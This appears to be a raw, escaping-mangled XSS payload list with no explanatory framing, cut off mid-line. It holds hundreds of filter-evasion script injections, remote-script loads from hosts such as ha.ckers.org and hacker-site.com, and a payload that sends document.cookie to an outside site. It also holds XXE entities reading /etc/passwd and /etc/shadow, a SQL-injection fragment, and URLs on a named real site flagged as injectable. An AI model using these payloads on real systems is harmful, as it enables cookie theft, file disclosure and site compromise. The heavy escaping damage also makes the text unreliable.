\\r\\nperl -e \\\';print \\\";<;IM SRC=java\\\\0script:alert(\\\";XSS\\\";)>\\\";;\\\';>; out\\r\\nperl -e \\\';print \\\";&;<;SCR\\\\0IPT>;alert(\\\";XSS\\\";)<;/SCR\\\\0IPT>;\\\";;\\\'; >; out\\r\\n<;IMG SRC=\\\"; &;#14; javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;SCRIPT/XSS SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;BODY onload!#$%&;()*~+-_.,:;?@[/|\\\\]^`=alert(\\\";XSS\\\";)>;\\r\\n<;SCRIPT SRC=http://ha.ckers.org/xss.js\\r\\n<;SCRIPT SRC=//ha.ckers.org/.j>;\\r\\n<;IMG SRC=\\\";javascript:alert(\\\';XSS\\\';)\\\";\\r\\n<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;\\r\\n<;<;SCRIPT>;alert(\\\";XSS\\\";);//<;<;/SCRIPT>;\\r\\n<;IMG \\\";\\\";\\\";>;<;SCRIPT>;alert(\\\";XSS\\\";)<;/SCRIPT>;\\\";>;\\r\\n<;SCRIPT>;a=/XSS/\\r\\n<;SCRIPT a=\\\";>;\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT =\\\";blah\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT a=\\\";blah\\\"; \\\';\\\'; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT \\\";a=\\\';>;\\\';\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT a=`>;` SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT>;document.write(\\\";<;SCRI\\\";);<;/SCRIPT>;PT SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;SCRIPT a=\\\";>\\\';>\\\"; SRC=\\\";http://ha.ckers.org/xss.js\\\";>;<;/SCRIPT>;\\r\\n<;A HREF=\\\";http://66.102.7.147/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://1113982867/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://0x42.0x0000066.0x7.0x93/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://0102.0146.0007.00000223/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";h
tt	p://6&;#09;6.000146.0x7.147/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";//www.google.com/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";//google\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://ha.ckers.org@google\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://google:ha.ckers.org\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://google.com/\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://www.google.com./\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";javascript:document.location=\\\';http://www.google.com/\\\';\\\";>;XSS<;/A>;\\r\\n<;A HREF=\\\";http://www.gohttp://www.google.com/ogle.com/\\\";>;XSS<;/A>;\\r\\n<script>document.vulnerable=true;</script>\\r\\n<img SRC=\\\"jav ascript:document.vulnerable=true;\\\">\\r\\n<img SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img SRC=\\\"  javascript:document.vulnerable=true;\\\">\\r\\n<body onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=document.vulnerable=true;>\\r\\n<<SCRIPT>document.vulnerable=true;//<</SCRIPT>\\r\\n<script <B>document.vulnerable=true;</script>\\r\\n<img SRC=\\\"javascript:document.vulnerable=true;\\\"\\r\\n<iframe src=\\\"javascript:document.vulnerable=true; <\\r\\n<script>a=/XSS/\\\\ndocument.vulnerable=true;</script>\\r\\n\\\\\\\";document.vulnerable=true;;//\\r\\n</title><SCRIPT>document.vulnerable=true;</script>\\r\\n<input TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<body BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<body ONLOAD=document.vulnerable=true;>\\r\\n<img DYNSRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img LOWSRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<bgsound SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<br SIZE=\\\"&{document.vulnerable=true}\\\">\\r\\n<LAYER SRC=\\\"javascript:document.vulnerable=true;\\\"></LAYER>\\r\\n<link REL=\\\"stylesheet\\\" HREF=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<style>li {list-style-image: url(\\\"javascript:document.vulnerable=true;\\\");</STYLE><UL><LI>XSS\\r\\n<img SRC=\\\'vbscript:document.vulnerable=true;\\\'>\\r\\n1script3document.vulnerable=true;1/script3\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:document.vulnerable=true;\\\">\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:document.vulnerable=true;\\\">\\r\\n<IFRAME SRC=\\\"javascript:document.vulnerable=true;\\\"></iframe>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:document.vulnerable=true;\\\"></frameset>\\r\\n<table BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<table><TD BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<div STYLE=\\\"background-image: url(javascript:document.vulnerable=true;)\\\">\\r\\n<div STYLE=\\\"background-image: url(javascript:document.vulnerable=true;)\\\">\\r\\n<div STYLE=\\\"width: expression(document.vulnerable=true);\\\">\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:document.vulnerable=true\\\';</style>\\r\\n<img STYLE=\\\"xss:expr/*XSS*/ession(document.vulnerable=true)\\\">\\r\\n<XSS STYLE=\\\"xss:expression(document.vulnerable=true)\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)\\\'>\\r\\n<style TYPE=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<style>.XSS{background-image:url(\\\"javascript:document.vulnerable=true\\\");}</STYLE><A CLASS=XSS></a>\\r\\n<style type=\\\"text/css\\\">BODY{background:url(\\\"javascript:document.vulnerable=true\\\")}</style>\\r\\n<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->\\r\\n<base HREF=\\\"javascript:document.vulnerable=true;//\\\">\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>\\r\\n<XML ID=I><X><C><![<IMG SRC=\\\"javas]]<![cript:document.vulnerable=true;\\\">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>\\r\\n<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:document.vulnerable=true\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></span>\\r\\n<html><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>\\\"></BODY></html>\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>document.vulnerable=true</SCRIPT>\\\'); ?>\\r\\n<meta HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=<SCRIPT>document.vulnerable=true</SCRIPT>\\\">\\r\\n<head><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-\\r\\n<a href=\\\"javascript#document.vulnerable=true;\\\">\\r\\n<div onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img dynsrc=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<input type=\\\"image\\\" dynsrc=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<bgsound src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n&<script>document.vulnerable=true;</script>\\r\\n&{document.vulnerable=true;};\\r\\n<img src=&{document.vulnerable=true;};>\\r\\n<link rel=\\\"stylesheet\\\" href=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<iframe src=\\\"vbscript:document.vulnerable=true;\\\">\\r\\n<img src=\\\"mocha:document.vulnerable=true;\\\">\\r\\n<img src=\\\"livescript:document.vulnerable=true;\\\">\\r\\n<a href=\\\"about:<script>document.vulnerable=true;</script>\\\">\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:document.vulnerable=true;\\\">\\r\\n<body onload=\\\"document.vulnerable=true;\\\">\\r\\n<div style=\\\"background-image: url(javascript:document.vulnerable=true;);\\\">\\r\\n<div style=\\\"behaviour: url([link to code]);\\\">\\r\\n<div style=\\\"binding: url([link to code]);\\\">\\r\\n<div style=\\\"width: expression(document.vulnerable=true;);\\\">\\r\\n<style type=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<object classid=\\\"clsid:...\\\" codebase=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<style><!--</style><script>document.vulnerable=true;//--></script>\\r\\n<<script>document.vulnerable=true;</script>\\r\\n<![<!--]]<script>document.vulnerable=true;//--></script>\\r\\n<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->\\r\\n<img src=\\\"blah\\\"onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\"blah>\\\" onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<xml src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<xml id=\\\"X\\\"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>\\r\\n<div datafld=\\\"b\\\" dataformatas=\\\"html\\\" datasrc=\\\"#X\\\"></div>\\r\\n[\\\\xC0][\\\\xBC]script>document.vulnerable=true;[\\\\xC0][\\\\xBC]/script>\\r\\n<style>@import\\\'http://www.securitycompass.com/xss.css\\\';</style>\\r\\n<meta HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://www.securitycompass.com/xss.css>; REL=stylesheet\\\">\\r\\n<style>BODY{-moz-binding:url(\\\"http://www.securitycompass.com/xssmoz.xml#xss\\\")}</style>\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://www.securitycompass.com/scriptlet.html\\\"></object>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"http://www.securitycompass.com/xss.htc\\\"><xss:xss>XSS</xss:xss></html>\\r\\n<script SRC=\\\"http://www.securitycompass.com/xss.jpg\\\"></script>\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>\\\'\\\"-->\\r\\n<script a=\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script =\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=\\\">\\\" \\\'\\\' SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script \\\"a=\\\'>\\\'\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=`>` SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=\\\">\\\'>\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<div style=\\\"binding: url(http://www.securitycompass.com/xss.js);\\\"> [Mozilla]\\r\\n\\\";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\\\\]^`=alert(\\\";XSS\\\";)>;\\r\\n<;/script>;<;script>;alert(1)<;/script>;\\r\\n<;/br style=a:expression(alert())>;\\r\\n<;scrscriptipt>;alert(1)<;/scrscriptipt>;\\r\\n<;br size=\\\\\\\";&;{alert('XSS')}\\\\\\\";>;\\r\\nperl -e 'print \\\\\\\";<;IMG SRC=java\\\\0script:alert(\\\\\\\";XSS\\\\\\\";)>;\\\\\\\";;' >; out\\r\\nperl -e 'print \\\\\\\";<;SCR\\\\0IPT>;alert(\\\\\\\";XSS\\\\\\\";)<;/SCR\\\\0IPT>;\\\\\\\";;' >; out\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location=\\\"http://www.procheckup.com/?sid=\\\"%2bdocument.cookie)>\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n<~/XSS STYLE=xss:expression(alert(\\\'XSS\\\'))>\\r\\n\\\"><script>alert(\\\'XSS\\\')</script>\\r\\n</XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n</XSS STYLE=xss:expression(alert(\\\'XSS\\\'))>\\r\\n>\\\"><script>alert(\\\"XSS\\\")</script>&\\r\\n\\\"><STYLE>@import\\\"javascript:alert(\\\'XSS\\\')\\\";</STYLE>\\r\\n>\\\"\\\'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>\\r\\n>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>\\r\\n\\\'%uff1cscript%uff1ealert(\\\'XSS\\\')%uff1c/script%uff1e\\\'\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>\\r\\n<IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')>\\r\\n<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')> \\r\\n<IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(&<WBR>#x27XSS')>\\r\\n<IMG SRC=\\\"jav
ascript:alert(<WBR>\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(<WBR>\\\'XSS\\\');\\\">\\r\\n<![CDATA[<script>var n=0;while(true){n++;}</script>]]>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(\\\'gotcha\\\');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><foo><![CDATA[\\\' or 1=1 or \\\'\\\'=\\\']]></foof>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file://c:/boot.ini\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///etc/passwd\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///etc/shadow\\\">]><foo>&xee;</foo>\\r\\n<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \\\"file:///dev/random\\\">]><foo>&xee;</foo>\\r\\n<script>alert(\\\'XSS\\\')</script>\\r\\n%3cscript%3ealert(\\\'XSS\\\')%3c/script%3e\\r\\n%22%3e%3cscript%3ealert(\\\'XSS\\\')%3c/script%3e\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')> \\r\\n<img src=xss onerror=alert(1)>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=\\\"jav ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav	ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<BODY BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n%253cscript%253ealert(1)%253c/script%253e\\r\\n\\\"><s\\\"%2b\\\"cript>alert(document.cookie)</script>\\r\\nfoo<script>alert(1)</script>\\r\\n<scr<script>ipt>alert(1)</scr</script>ipt>\\r\\n<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<marquee onstart=\\\'javascript:alert(\\\'1\\\');\\\'>=(◕_◕)=
keyword(s): 11
description: <body =\\\"while(true) alert(\\\'XSS\\\');\\\">\\r\\n\\\'\\\"></title>alert(1111)\\r\\n</textarea>\\\'\\\">alert()\\r\\n\\\'\\\"\\\"><script language=\\\"JavaScript\\\"> alert(\\\'X \\\\nS \\\\nS\\\');\\r\\n<<<<>>>><<alert(123)\\r\\n<html><noalert><noscript>(123)</noscript>(123)\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n\\\'></select>alert(123)\\r\\n\\\'>\\\"><script src = \\\'http://www.site.com/XSS.js\\\'>\\r\\n}</style>a=eval;b=alert;a(b(/XSS/.source));\\r\\n(\\\"XSS\\\");\\r\\na=\\\"get\\\";b=\\\"URL\\\";c=\\\"\\\";d=\\\"alert(\\\'xss\\\');\\\";eval(a+b+c+d);\\r\\n=\\\'>alert(\\\"xss\\\")\\r\\n<script+src=\\\">\\\"+src=\\\"http://yoursite.com/xss.js?69,69\\\">\\r\\n<body background=\\\'\\\">alert(navigator.userAgent)></body>\\r\\n\\\">/XaDoS/>alert()<script src=\\\"http://www.site.com/XSS.js\\\">\\r\\n\\\">/KinG-InFeT.NeT/>alert()\\r\\nsrc=\\\"http://www.site.com/XSS.js\\\">\\r\\nIj48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=\\r\\n!--\\\" />alert(\\\'xss\\\');\\r\\nalert(\\\"XSS by \\\\nxss\\\")<marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\">alert(\\\"XSS by \\\\nxss\\\")><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'\\\"></title>alert(\\\"XSS by \\\\nxss\\\")><marquee><h1>XSS by xss</h1></marquee>\\r\\n<img \\\"\\\"\\\">alert(\\\"XSS by \\\\nxss\\\")<marquee><h1>XSS by xss</h1></marquee>\\r\\nalert(1337)<marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\">alert(1337)\\\">alert(\\\"XSS by \\\\nxss</h1></marquee>\\r\\n\\\'\\\"></title>alert(1337)><marquee><h1>XSS by xss</h1></marquee>\\r\\n<iframe src=\\\"(\\\'XSS by \\\\nxss\\\');\\\"></iframe><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'>alert(String.fromCharCode(88,83,83))<img src=\\\"\\\" alt=\\\'\\r\\n\\\">alert(String.fromCharCode(88,83,83))<img src=\\\"\\\" alt=\\\"\\r\\n\\\\\\\'>alert(String.fromCharCode(88,83,83))<img src=\\\"\\\" alt=\\\\\\\'\\r\\nhttp://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??\\r\\nhttp://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??\\r\\n\\\'); alert(\\\'xss\\\'); var x=\\\'\\r\\n\\\\\\\\\\\'); alert(\\\\\\\'xss\\\\\\\');var x=\\\\\\\'\\r\\n//-->alert(String.fromCharCode(88,83,83));\\r\\n>\\\"><ScRiPt%20%0a%0d>alert(561177485777)%3B\\r\\n<img src=\\\"Mario Heiderich says that svg SHOULD not be executed trough image tags\\\" =\\\"(\\\'\\\\u003c\\\\u0069\\\\u0066\\\\u0072\\\\u0061\\\\u006d\\\\u0065\\\\u0020\\\\u0073\\\\u0072\\\\u0063\\\\u003d\\\\u0022\\\\u0064\\\\u0061\\\\u0074\\\\u0061\\\\u003a\\\\u0069\\\\u006d\\\\u0061\\\\u0067\\\\u0065\\\\u002f\\\\u0073\\\\u0076\\\\u0067\\\\u002b\\\\u0078\\\\u006d\\\\u006c\\\\u003b\\\\u0062\\\\u0061\\\\u0073\\\\u0065\\\\u0036\\\\u0034\\\\u002c\\\\u0050\\\\u0048\\\\u004e\\\\u0032\\\\u005a\\\\u0079\\\\u0042\\\\u0034\\\\u0062\\\\u0057\\\\u0078\\\\u0075\\\\u0063\\\\u007a\\\\u0030\\\\u0069\\\\u0061\\\\u0048\\\\u0052\\\\u0030\\\\u0063\\\\u0044\\\\u006f\\\\u0076\\\\u004c\\\\u0033\\\\u0064\\\\u0033\\\\u0064\\\\u0079\\\\u0035\\\\u0033\\\\u004d\\\\u0079\\\\u0035\\\\u0076\\\\u0063\\\\u006d\\\\u0063\\\\u0076\\\\u004d\\\\u006a\\\\u0041\\\\u0077\\\\u004d\\\\u0043\\\\u0039\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u0069\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u0070\\\\u0062\\\\u0057\\\\u0046\\\\u006e\\\\u005a\\\\u0053\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0045\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0038\\\\u004c\\\\u0032\\\\u006c\\\\u0074\\\\u0059\\\\u0057\\\\u0064\\\\u006c\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u0067\\\\u0062\\\\u0032\\\\u0035\\\\u0073\\\\u0062\\\\u0032\\\\u0046\\\\u006b\\\\u0050\\\\u0053\\\\u004a\\\\u0068\\\\u0062\\\\u0047\\\\u0056\\\\u0079\\\\u0064\\\\u0043\\\\u0067\\\\u0079\\\\u004b\\\\u0053\\\\u0049\\\\u002b\\\\u0050\\\\u0043\\\\u0039\\\\u007a\\\\u0064\\\\u006d\\\\u0063\\\\u002b\\\\u0049\\\\u0043\\\\u0041\\\\u004b\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0048\\\\u004e\\\\u006a\\\\u0063\\\\u006d\\\\u006c\\\\u0077\\\\u0064\\\\u0044\\\\u0035\\\\u0068\\\\u0062\\\\u0047\\\\u0056\\\\u0079\\\\u0064\\\\u0043\\\\u0067\\\\u007a\\\\u004b\\\\u0054\\\\u0077\\\\u0076\\\\u0063\\\\u0032\\\\u004e\\\\u0079\\\\u0061\\\\u0058\\\\u0042\\\\u0030\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0044\\\\u0078\\\\u006b\\\\u005a\\\\u0057\\\\u005a\\\\u007a\\\\u0049\\\\u0047\\\\u0039\\\\u0075\\\\u0062\\\\u0047\\\\u0039\\\\u0068\\\\u005a\\\\u0044\\\\u0030\\\\u0069\\\\u0059\\\\u0057\\\\u0078\\\\u006c\\\\u0063\\\\u006e\\\\u0051\\\\u006f\\\\u004e\\\\u0043\\\\u006b\\\\u0069\\\\u0050\\\\u006a\\\\u0077\\\\u0076\\\\u005a\\\\u0047\\\\u0056\\\\u006d\\\\u0063\\\\u007a\\\\u0034\\\\u0067\\\\u0049\\\\u0041\\\\u006f\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0038\\\\u005a\\\\u0079\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0055\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0067\\\\u0049\\\\u0041\\\\u006f\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0047\\\\u004e\\\\u0070\\\\u0063\\\\u006d\\\\u004e\\\\u0073\\\\u005a\\\\u0053\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0059\\\\u0070\\\\u0049\\\\u0069\\\\u0041\\\\u0076\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u0069\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0049\\\\u0043\\\\u0041\\\\u0038\\\\u0064\\\\u0047\\\\u0056\\\\u0034\\\\u0064\\\\u0043\\\\u0042\\\\u0076\\\\u0062\\\\u006d\\\\u0078\\\\u0076\\\\u0059\\\\u0057\\\\u0051\\\\u0039\\\\u0049\\\\u006d\\\\u0046\\\\u0073\\\\u005a\\\\u0058\\\\u004a\\\\u0030\\\\u004b\\\\u0044\\\\u0063\\\\u0070\\\\u0049\\\\u006a\\\\u0034\\\\u0038\\\\u004c\\\\u0033\\\\u0052\\\\u006c\\\\u0065\\\\u0048\\\\u0051\\\\u002b\\\\u0049\\\\u0043\\\\u0041\\\\u004b\\\\u0049\\\\u0043\\\\u0041\\\\u0067\\\\u0050\\\\u0043\\\\u0039\\\\u006e\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0043\\\\u006a\\\\u0077\\\\u0076\\\\u0063\\\\u0033\\\\u005a\\\\u006e\\\\u0050\\\\u0069\\\\u0041\\\\u0067\\\\u0022\\\\u003e\\\\u003c\\\\u002f\\\\u0069\\\\u0066\\\\u0072\\\\u0061\\\\u006d\\\\u0065\\\\u003e\\\');\\\"></img>\\r\\n</body>\\r\\n</html>\\r\\n<SCRIPT SRC=http://hacker-site.com/xss.js>\\r\\n alert(“XSS”); \\r\\n<BODY =alert(\\\"XSS\\\")>\\r\\n<BODY BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG DYNSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<IFRAME SRC=”http://hacker-site.com/xss.html”>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(\\\'XSS\\\');\\\">\\r\\n<TABLE BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<TD BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url((\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"width: 